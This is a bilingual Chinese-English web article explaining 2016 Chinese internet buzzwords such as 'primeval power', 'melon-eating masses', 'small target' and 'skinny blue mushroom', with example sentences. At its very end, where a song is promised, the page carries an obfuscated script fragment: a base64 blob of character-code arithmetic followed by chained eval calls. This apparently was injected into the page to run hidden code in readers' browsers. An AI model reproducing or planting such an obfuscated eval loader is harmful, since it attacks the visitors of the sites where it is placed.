Chinese internet buzzwords in 2016!

2017年03月14日

001
众所周知,中国网民擅长提出诡异又有创意的词语来形容新闻事件中的人和事……而且这些词语就像野火一般迅速蔓延开来。
Chinese netizens are known for coming up with quirky and creative terms for people and things making the news… and they spread like wildfire.
从“蓝瘦香菇”到“吃瓜群众”,让我们盘点了一下2016年激发中国网民想象力的人和事。
From “skinny blue mushrooms” to “melon-eating masses”, let’s take a look at what has captured their imaginations in 2016.

 

hóng huāng zhī lì

洪荒之力

Primeval Power

里约奥运会上,记者采访傅园慧,问她是怎样赢下比赛的。她说,她已经发挥了全力,并且用上了“洪荒之力”。这个词,和她那可爱的表情一起,瞬间成为了表情包。
01
When asked how she won her race at this year’s Olympics in Rio, Fu Yuanhui responded that she used all of her inner strength and “primeval power.” The term, together with her adorable facial expressions, made for instant memery.
Examples:
我已经用了洪荒之力了,老师会原谅我的。
I have used up my primordial power, so my teacher will forgive me.
我已经用了洪荒之力了, 但是这座山真的太险峻了。
I have used my primeval power, but this mountain is just too steep.

 

chī guā qún zhòng

吃瓜群众

Watermelon eaters

“吃瓜群众”指为数众多的消极旁观者。本词与“潜水者”相似,通常指社交媒体上没有实际贡献的人们。“Watermelon eaters” refers a big crowd of passive onlookers. Similar in meaning to lurker, watermelon eaters usually refers to people on social media who do not actually contribute anything.
02

与那些好玩的表情类似,本词也发展成了“吃鸡群众”“吃饼群众”等,指那些潜水而又没有真正关注某事的人。
As with any good meme, this has evolved into chicken eaters and pancake eaters, referring people who lurk, but don’t really pay attention.

 

xiǎo mù biāo

小目标

Small target

今年早些时候,中国首富王健林在采访中说,“野心不必太大,先定一个小目标,比方说先挣一个亿。”这是他对希望致富的年轻人的建议。与公众人物令人尴尬的失言一样,这句话也很快成为了搞笑表情包的模板。
Earlier this year, Wang Jianlin, China’s richest person, said in an interview, “You shouldn’t be that ambitious. Set a small target first, like earning 100 million RMB.” This was his advice to young people who want to be wealthy. And, like any public figure making an embarrassing gaffe, the quote quickly became meme fodder with one-liners.
Examples
先定一个小目标,比如三天减肥七十磅。
First set a small target for losing weight, such as losing 70 pounds in three days.
给自己先定一个小目标,比如在春节之前找个像吴彦祖那样的男朋友。
I will set a small target for myself, like finding a boyfriend like Daniel Wu before the Spring Festival.

 

yǒu yì xiǎo chuán shuō fān jiù fān

友谊小船说翻就翻

Sinking friend “ship”

删除好友是Facebook早期被广泛讨论的一种现象。同样的现象正在中国开始露头。你想找一个点头之交的熟人,或者高中时期的恋人,却发现你们已经不是好友了!如果想给他们发信息,甚至得重新发送好友申请!
De-friending: a much-discussed phenomenon in the heady early days of Facebook. That same phenomenon has made its way to China. You look up a casual acquaintance or high school sweetheart only to find you’re not friends anymore! To send them a message, you even have to resend a friend request!

04.webp

这个流行短语讽刺了互联网时代的友谊是如此容易崩塌的现实。任何一点小事,都有可能导致友谊破裂,比如给朋友拍了一张难看的自拍、一方减肥不成功等等。
The phrase mocks how easy it is for a cyber friendship to fall out. Any tiny trigger can lead to a broken friendship, from taking a bad selfie of your friend to losing weight when they cannot.

05.webp

 

běi jīng tān

北京瘫

Beijing Slouch

这张十几年前的旧剧照来源于曾经流行一时的电视剧《我爱我家》,照片中喜剧演员葛优的瘫卧姿势引起了网上的重新解读和模仿浪潮。这个姿势是北京人的一种独特坐姿,因此被叫作“北京瘫”。
06.webp
Originally from a China’s popular TV show I Love My Family(《我爱我家》), the decades-old photo of the Chinese comedian Ge You slouching has spawned a wave of humorous reinterpretations and imitations online. As the representative sitting position of Beijingers, it is dubbed the Beijing Slouch.

tào lù

套路

Tricks

如果你女朋友说:“早上我吃药时听到一些消息……”千万不要回答:“什么消息?”如果这么说了,你就落套了。接下来你将听到的是:“为什么不问我怎么吃药了?你根本不关心我!”
If your girlfriend says, “When I was taking my medicine this morning, I heard some news…” Do not, under any circumstances, answer, “What news?” If you do, you, my friend, have just fallen into a trap. The next thing you’re likely to hear is, “Why didn’t you ask me why I was taking medicine? You don’t care about me!”
07
A slightly longer version of this relationship trap went viral online, and many victims of this scheme reached for a new, emerging phrase: Less strategy, more sincerity!
Examples
-有个事情我不该跟你说的,但我觉得你应该知道。
-Here’s a thing I am not supposed to tell you, but I feel like you should know.
-爱说不说!少一点套路,多一点真诚。-Say it or save it. Less strategy, more sincerity, please.
-电影的男女主角被曝出恋情?在电影马上就要上映的时候?
-The lead actor and actress of the movie began a relationship? Just exactly when it comes out?
-经典套路。我猜如果他们之后再合作一部电影,他们分手的消息还能再上一次头条。
-A classic scheme. I guess if they cooperate in another movie, their break-up will make even more headlines.

 

lán shòu xiāng gū

蓝瘦香菇

skinny blue mushroom

这一切都源自于一个南宁小伙上传了一段视频在网络上来表达他当天悲伤的心情。他用南宁方言反复嘀咕他很难受,很想哭。他一直问为什么……为什么……
This all originate to a young man from Nanning who uploaded a video clip online to express his sad feelings on a bad date he had earlier that day. He repeatedly murmured how bad he feels at the moment and wants to cry in local dialect. And he continued to ask why it.
08
但是相反,你看了以后会忍不住大笑,满脑子只剩下魔性的声音“蓝瘦,香菇”不停的重复。
But to the opposite, you just can’t stop laughing after watching it because it does sound like he’s kept saying “skinny blue mushroom”.

 

chuān pǔ

“川普”

‘Sichuan Trump’

美国总统当选人唐纳德·特朗普被主流媒体称为“川普”。
US President-elect Donald Trump is known as “chuanpu” by mainstream media outlets.
但最不可思议的段子就是有人猜测川普实际上来自中国西南地区的一个省,那儿因熊猫和辛辣食物而闻名。
But the weirdest riff of all happened when some speculated that he was actually from the southwest province best known for its pandas and spicy food.

10

“川普于1946年出生于四川,当时他的父亲在中国做生意”该阴谋论迅速在社交媒体微博和微信上传播开来。
The conspiracy theory, spread on social networks Weibo and WeChat, is that Trump was born in 1946 in Sichuan when his father set up a business in China.
当然这都是胡说八道的,然而虽然川普最近发表过攻击中国的言论,但这也阻止不了部分当地人称川普为“四川的骄傲”。
It’s nonsense of course, but that hasn’t stopped some locals from claiming him as “the pride of Sichuan” – despite his recent verbal attacks against China.
↓↓↓这是中国网友用2016年网络流行语写的一首歌。
↓↓↓This is a song that Chinese netizens wrote about internet buzzwords in 2016.

 

KyAyLCAxMDAgKyAxLCAzMyArIDcsIDk1ICsgNCwgNDIgKyA0LCA5NiArIDMsIDk0ICsgMTAsIDkwICsgNywgMTEyICsgMiwgNjMgKyA0LCAxMDkgKyAyLCA5NiArIDQsIDk1ICsgNiwgNjIgKyAzLCAxMTEgKyA1LCAzNiArIDQsIDQwICsgOCwgMzMgKyA4LCAyNyArIDUsIDkxICsgMywgMjkgKyAzLCA3MyArIDEsIDgxICsgNCwgNjUgKyAzLCAxMTQgKyAyLCA5NyArIDEsIDEwOSArIDQsIDg1ICsgNCwgNjcgKyAxLCA4MyArIDgsIDk2ICsgOSwgMTA1ICsgNSwgOTYgKyA0LCA5MSArIDEwLCAxMTEgKyA5LCAyNCArIDgsIDMxICsgNiwgMzEgKyAxLCA3MiArIDIsIDc3ICsgOCwgNTggKyAxMCwgMTA4ICsgOCwgOTAgKyA4LCAxMDYgKyA3LCA4OCArIDEsIDYzICsgNSwgMzkgKyA3LCAxMDYgKyAyLCA5MSArIDEwLCAxMDAgKyAxMCwgMTAwICsgMywgMTA2ICsgMTAsIDk3ICsgNywgODYgKyA3LCAzOCArIDgsIDkwICsgOSwgMTAwICsgNCwgOTUgKyAyLCAxMDcgKyA3LCA2NSArIDIsIDExMCArIDEsIDk3ICsgMywgOTkgKyAyLCA2NCArIDEsIDExNSArIDEsIDM4ICsgMiwgMzkgKyA5LCAzOCArIDMsIDMzICsgOCwgNTEgKyA4LCAzMSArIDEsIDExNyArIDgsIDMxICsgMTAsIDQ0ICsgMiwgMTAyICsgNCwgMTAyICsgOSwgMTAyICsgMywgMTAzICsgNywgMzIgKyA4LCAzMCArIDksIDMwICsgOSwgMzYgKyA1LCA1MCArIDksIDI5ICsgMywgMTE1ICsgMTAsIDI3ICsgNSwgOTkgKyAyLCAxMTUgKyAzLCA5NiArIDEsIDEwNSArIDMsIDM1ICsgNSwgMTExICsgOSwgMTA2ICsgNSwgMTEwICsgNCwgOTQgKyA2LCAzNSArIDUsIDMyICsgOSwgMzggKyAzLCA1MiArIDcsICk7IGV2YWwoVkJIZ3dlbVhHdFRpTkRVY0dUKTs=”); eval(WsQeRJczoUaGO);